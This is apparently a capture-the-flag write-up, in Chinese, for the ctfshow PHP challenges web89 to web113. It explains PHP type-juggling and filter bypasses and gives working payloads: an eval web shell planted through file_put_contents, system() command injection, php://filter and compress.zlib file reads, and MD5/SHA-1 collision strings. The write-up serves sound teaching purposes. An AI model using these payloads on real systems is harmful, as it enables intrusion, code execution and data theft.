web89
源码开局
intval()函数用于获取变量的整数值
intval()函数通过使用指定的进制base转换(默认是十进制)返回变量var的integer数值.intval()不能用于object,否则会产生E_NOTICE错误并返回1
preg_match()函数:判断输入的值是否存在指定字符
preg_match()函数无法处理数组,这里发现匹配到数字就死,但是intval()中又必须是数字,所以只能有一个不执行.那么要利用intval的话只能上面不执行,所以只要传个数组
web90 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
?num=4476a 弱类型 ?num=0x117c 十六进制 ?num=4476.0 小数点 ?num=+4476 正负号 ?num=4476e1 科学计数法 ?num=010574 八进制 ?num= 010574 八进制加空格
web91 <?php show_source (__FILE__ );include ('flag.php' );$a =$_GET ['cmd' ];if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; } else { echo $flag ; } } else { echo 'nonononono' ; }
m表示匹配多行
i 不区分大小写 m 多(more)行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配 s 特殊字符圆点.中包含换行符.默认的圆点.是匹配除换行符\n之外的任何单字符,加上s之后,.包含换行符 A 强制从目标字符串开头匹配 D 如果使用$限制结束字符,则不允许结尾有换行符 e 配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式来执行
web92 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
int intval ( mixed $var [, int $base = 10 ] ) 参数说明: $var:要转换成 integer 的数量值。 $base:转化所使用的进制。 base如果是0,通过检测,var的格式来决定使用的进制 如果包含了0x的前缀,使用16进制(hex); 如果使用0开头,使用8进制 否则使用十进制
?num=0x117c 十六进制 ?num=4476e1 科学计数法 ?num=010574 八进制 ?num= 010574 八进制加空格
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以再php中不是科学计数法.所以就可以构造4476e123.在弱类型比较适合,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476.
web93 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 )==4476 ){ echo $flag ; }else { echo intval ($num ,0 ); } }
?num=010574 八进制 ?num= 010574 八进制加空格
web94 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==="4476" ){ die ("no no no!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (!strpos ($num , "0" )){ die ("no no no!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
strpos() 函数 strpos() 函数查找字符串在另一字符串中第一次出现的位置
必须要找到0,并且不能在第一位
?num=4476.0 小数点 ?num=4476@0 特殊字符 ?num= 010574 八进制加空格
好多都可以
web95 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if ($num ==4476 ){ die ("no no no!" ); } if (preg_match ("/[a-z]|\./i" , $num )){ die ("no no no!!" ); } if (!strpos ($num , "0" )){ die ("no no no!!!" ); } if (intval ($num ,0 )===4476 ){ echo $flag ; } }
?num= 010574 八进制加空格 ?num=%20010574 正负号八进制
web96 <?php highlight_file (__FILE__ );if (isset ($_GET ['u' ])){ if ($_GET ['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file ($_GET ['u' ]); } }
?u=php://filter/read=convert.base64-encode/resource=flag.php ?u=/var/www/html/flag.php 绝对路径 ?u=./flag.php 相对路径 ?u=php://filter/resource=flag.php php伪协议
web97 <?php include ("flag.php" );highlight_file (__FILE__ );if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ;else print 'Wrong.' ;} ?>
php中md5()函数无法处理数组 a[]=1&b[]=2 md5碰撞 a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab &b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab 在送一个 %af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
md5强碰撞收集
web98 Notice: Undefined index: flag in /var /www/html/index.php on line 15 Notice: Undefined index: flag in /var /www/html/index.php on line 16 Notice: Undefined index: HTTP_FLAG in /var /www/html/index.php on line 17 <?php include ("flag.php" );$_GET ?$_GET =&$_POST :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_COOKIE :'flag' ;$_GET ['flag' ]=='flag' ?$_GET =&$_SERVER :'flag' ;highlight_file ($_GET ['HTTP_FLAG' ]=='flag' ?$flag :__FILE__ );?>
当get传入值时,get就等于post,那么post传入值也就是get传入值,所以get随便传一个然后post HTTP_FLAG等于flag
web99 <?php highlight_file (__FILE__ );$allow = array ();for ($i =36 ; $i < 0x36d ; $i ++) { 0x36d =877 array_push ($allow , rand (1 ,$i )); } if (isset ($_GET ['n' ]) && in_array ($_GET ['n' ], $allow )){ file_put_contents ($_GET ['n' ], $_POST ['content' ]); } ?>
传一个
?n=1.php post content=<?php @eval($_POST[zf]);?>
至于这里为什么传一,是因为range(1,$i)中每次都包含1,所以1的概率最大
接着去访问这个文件
web100 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\;/" , $v2 )){ if (preg_match ("/\;/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?>
is_numeric() 函数用于检测变量是否为数字或数字字符串。 bool is_numeric ( mixed $var ) 参数说明: $var:要检测的变量。 返回值 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
and 与 && 因为赋值运算的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值 <?php $v0 =true and false and false ;echo var_dump ($v0 );$v0 =true && false &&false ;echo var_dump ($v0 );?>
那么这里只要$v1是数字就可以返回$v0为true
反射类ReflectionClass使用 可以直接输出这个类,也就是构造出echo new ReflectionClass(‘ctfshow’);
?v1=1&v2=echo new ReflectionClass&v3=;
反射类不仅仅可以建立对类的映射,也可以建立对php方法的映射,返回对php基本方法的映射,返回基本方法的执行情况,因此可以通过建立
new ReflectionClass(system('dir'));
对反射类的理解
<?php class A {public static $flag ="flag{123123123}" ;const PI=3.14 ;static function hello ( ) { echo "hello</br>" ; } } $a =new ReflectionClass ('A' );var_dump ($a ->getConstants ()); 获取一组常量输出 array (1 ) { ["PI" ]=> float (3.14 ) } var_dump ($a ->getName ()); 获取类名输出 string (1 ) "A" var_dump ($a ->getStaticProperties ()); 获取静态属性输出 array (1 ) { ["flag" ]=> string (15 ) "flag{123123123}" } var_dump ($a ->getMethods ()); 获取类中的方法输出 array (1 ) { [0 ]=> object (ReflectionMethod) ["name" ]=> string (5 ) "hello" ["class" ]=> string (1 ) "A" } }
非预期解
直接输出$ctfshow 构造 var_dump($ctfshow); ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
过滤不多可以直接执行命令 ?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/ ?v1=1&v2=system('ls')&v3=-1;
flag_is_ab5f4bb70x2df6d60x2d47470x2dbd3a0x2de12e3c8a7416 ctfshow{ab5f4bb7-f6d6-4747-bd3a-e12e3c8a7416} 要构造一下,将0x2b转换成-哦
web101 <?php highlight_file (__FILE__ );include ("ctfshow.php" );$ctfshow = new ctfshow ();$v1 =$_GET ['v1' ];$v2 =$_GET ['v2' ];$v3 =$_GET ['v3' ];$v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 );if ($v0 ){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2 )){ if (!preg_match ("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3 )){ eval ("$v2 ('ctfshow')$v3 " ); } } } ?> Notice: Undefined index: v1 in /var /www/html/index.php on line 17 Notice: Undefined index: v2 in /var /www/html/index.php on line 18 Notice: Undefined index: v3 in /var /www/html/index.php on line 19
这里将上一关的非预期给过滤了
?v1=1&v2=echo new ReflectionClass&v3=;
还是要构造一下
flag_649e19730x2d39050x2d4cb20x2d900b0x2d3b4c30b15a4 ctfshow{649e1973-3905-4cb2-900b-3b4c30b15a4}要爆破最后一位哦 ctfshow{ab5f4bb7-f6d6-4747-bd3a-e12e3c8a7416}#上关的少一位
web102 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; file_put_contents ($v3 ,$str ); } else { die ('hacker' ); } ?>
call_user_func — 把第一个参数作为回调函数调用 说明 mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 参数 callback 将被调用的回调函数(callable)。 parameter 0个或以上的参数,被传入回调函数,可以是数组。
在php5的环境中,是可以识别16进制的,也就是说,如果传入v2=0x66也是可以识别为数字的
var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false
之后经过substr的截断也就剩下了66,不带0x的,这里就可以通过调用hex2bin将16进制转换成字符串从而写入木马文件.这里至于为什么要截取两个字符出去,就是因为hex2bin如果参数中带有0x会报错
<?php echo hex2bin ('66' );echo hex2bin ('0x66' );PHP Warning: hex2bin (): Input string must be hexadecimal string in D:\Download\PHP1.php on line 3 f Warning: hex2bin (): Input string must be hexadecimal string in D:\Download\PHP1.php on line 3
那么这里就很清晰了
<?php @eval($_POST[zf]);?> -> 0x3c3f70687020406576616c28245f504f53545b7a665d293b3f3e
?v2=0x3c3f70687020406576616c28245f504f53545b7a665d293b3f3e&v3=1.php POST v1=hex2bin
但是经过尝试,这里是不可以的哦
因为在php7的环境下
var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e")); 下返回false
那么我们就必须要让v2均为数字,那就要利用伪协议把内容进行编码转换找到一条语句经过base64编码后再转换为16进制全是数字的.
$a="<?=`cat *`;"; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 # 5044383959474e6864434171594473 如果$c全部都是纯数字就可以了。 带e的话会被认为是科学计数法,可以通过is_numeric检测。 大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php POST v1=hex2bin
web103 <?php highlight_file (__FILE__ );$v1 = $_POST ['v1' ];$v2 = $_GET ['v2' ];$v3 = $_GET ['v3' ];$v4 = is_numeric ($v2 ) and is_numeric ($v3 );if ($v4 ){ $s = substr ($v2 ,2 ); $str = call_user_func ($v1 ,$s ); echo $str ; if (!preg_match ("/.*p.*h.*p.*/i" ,$str )){ file_put_contents ($v3 ,$str ); } else { die ('Sorry' ); } } else { die ('hacker' ); } ?>
用上一关的可过
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php POST v1=hex2bin
web104 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 )){ echo $flag ; } } ?>
这里并没有判断v1等不等与v2那么直接
但是应该不会这么简单,那么还是利用php的sha1()函数无法处理数组绕过
由于是弱类型比较,那么就可以通过
aaroZmOk 0e66507019969427134894567494305185566735 aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668 aa3OFF9m 0e36977786278517984959260394024281014729
可见这里的全都是0e开头,那么在弱类型相等的时候0e就是0自然相等,因此也可以传
?v2=aaroZmOk POST v1=aaK1STfY
sha1碰撞一下
<?php $a = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1" ;$b = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1" ;print_r (urlencode (base64_encode (urldecode ($a ))));echo "\n" ;print_r (urlencode (base64_encode (urldecode ($b ))));?>
web105 <?php highlight_file (__FILE__ );include ('flag.php' );error_reporting (0 );$error ='你还想要flag嘛?' ;$suces ='既然你想要那给你吧!' ;foreach ($_GET as $key => $value ){ if ($key ==='error' ){ die ("what are you doing?!" ); } $$key =$$value ; }foreach ($_POST as $key => $value ){ if ($value ==='flag' ){ die ("what are you doing?!" ); } $$key =$$value ; } if (!($_POST ['flag' ]==$flag )){ die ($flag ); } echo "your are good" .$flag ."\n" ;die ($suces );?> 你还想要flag嘛?
简单分析一下,如果$error就是$flag就可以直接输出flag,那么我们需要让$error为$flag.第一种想法,就是在post中给$key赋值为error给$value复制为flag,但是这里value的值是不能是flag的,那么仔细观察就可以发现在get中的值可以是flag,但是key的值不能是error.所以我们就可以给get中的key赋值一个中间变量来进行传递一下flag.
GET tmp=flag -> $tmp = $flag POST error=tmp -> $error = $tmp = $flag -> $error = $flag
传入
当然也可以利用suces输出那么就需要$suces的只是$flag,接着绕过post的$flag不等于$flag.也就是说post的flag要等于$flag的值,我们不知道$flag的值怎么实现,可以利用post中foreach循环中的赋值将post的flag的值赋值为空
GET suces=flag -> $suces = $flag POST flag= -> $flag = NULL 正好if中的也flag=NULL $flag=NULL刚好绕过die($flag)
web106 <?php highlight_file (__FILE__ );include ("flag.php" );if (isset ($_POST ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_POST ['v1' ]; $v2 = $_GET ['v2' ]; if (sha1 ($v1 )==sha1 ($v2 ) && $v1 !=$v2 ){ echo $flag ; } } ?>
?v2=aaroZmOk POST v1=aaK1STfY
?v2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 POST v1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
web107 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (isset ($_POST ['v1' ])){ $v1 = $_POST ['v1' ]; $v3 = $_GET ['v3' ]; parse_str ($v1 ,$v2 ); if ($v2 ['flag' ]==md5 ($v3 )){ echo $flag ; } } ?>
parse_str() 函数 parse_str() 函数把查询字符串解析到变量中。 注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。 注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
那么如果给v3传一个1的话就需要让数组v2中的flag的值为1的MD5值,所以v1=flag= c4ca4238a0b923820dcc509a6f75849b
?v3=1 POST v1=flag=c4ca4238a0b923820dcc509a6f75849b
web108 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET ['c' ])===FALSE ) { die ('error' ); } if (intval (strrev ($_GET ['c' ]))==0x36d ){ echo $flag ; } ?> error
1、ereg()用途 ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。 2、题中ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母 3、strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写) 4、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 5、ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,strpos()的参数同样不能为数组,否则返回NULL,而判断用的是 !== ,所以这里的条件成立,也能得到flag strrev() 函数反转字符串。
0x36d 是 877 a%00778 然后翻转87700%a截取整数得到877
这里的%00之前好像必须要有字符才可以截断
web109 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } } ?>
这两个正则表达式至少要匹配到一个字母的字符串,那么我们就找一个php的内置类并且可以直接echo输出就好了啊.
?v1=Exception();system('tac f*');//&v2=a ?v1=ReflectionClass&v2=system('nl *')
web110 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
FilesystemIterator类的使用
<?php $file = new FilesystemIterator ('.' ); while ($file ->valid ()){ $file ->next (); }
所以我们需要在得到一个点或者路径就可以查看当前目录下(.)的文件,得到一个查看根目录(/)的文件..php中的getcwd()
?v1=FilesystemIterator&v2=getcwd
web111 <?php highlight_file (__FILE__ );error_reporting (0 );include ("flag.php" );function getFlag (&$v1 ,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump ($$v1 ); } if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1 )){ die ("error v1" ); } if (preg_match ('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2 )){ die ("error v2" ); } if (preg_match ('/ctfshow/' , $v1 )){ getFlag ($v1 ,$v2 ); } } ?>
php超全局变量$GLOBALS的使用
$GLOBALS 引用全局作用域中可用的全部变量 一个包含了全部变量的全局数组,变量的名字就是数组的键
<?php $a =123 ;$b =456 ;var_dump ($GLOBALS );
web112 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file )){ die ("hacker!" ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
is_file — 判断给定文件名是否为一个正常的文件
我们不能让is_file检测出是文件,并且hightlight_file可以识别为文件,可以使用php伪协议
?file=php://filter/resource=flag.php ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php ?file=compress.zlib://flag.php ?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
web113 <?php highlight_file (__FILE__ );error_reporting (0 );function filter ($file ) { if (preg_match ('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file )){ die ('hacker!' ); }else { return $file ; } } $file =$_GET ['file' ];if (! is_file ($file )){ highlight_file (filter ($file )); }else { echo "hacker!" ; }
?file=compress.zlib://flag.php
还有这个
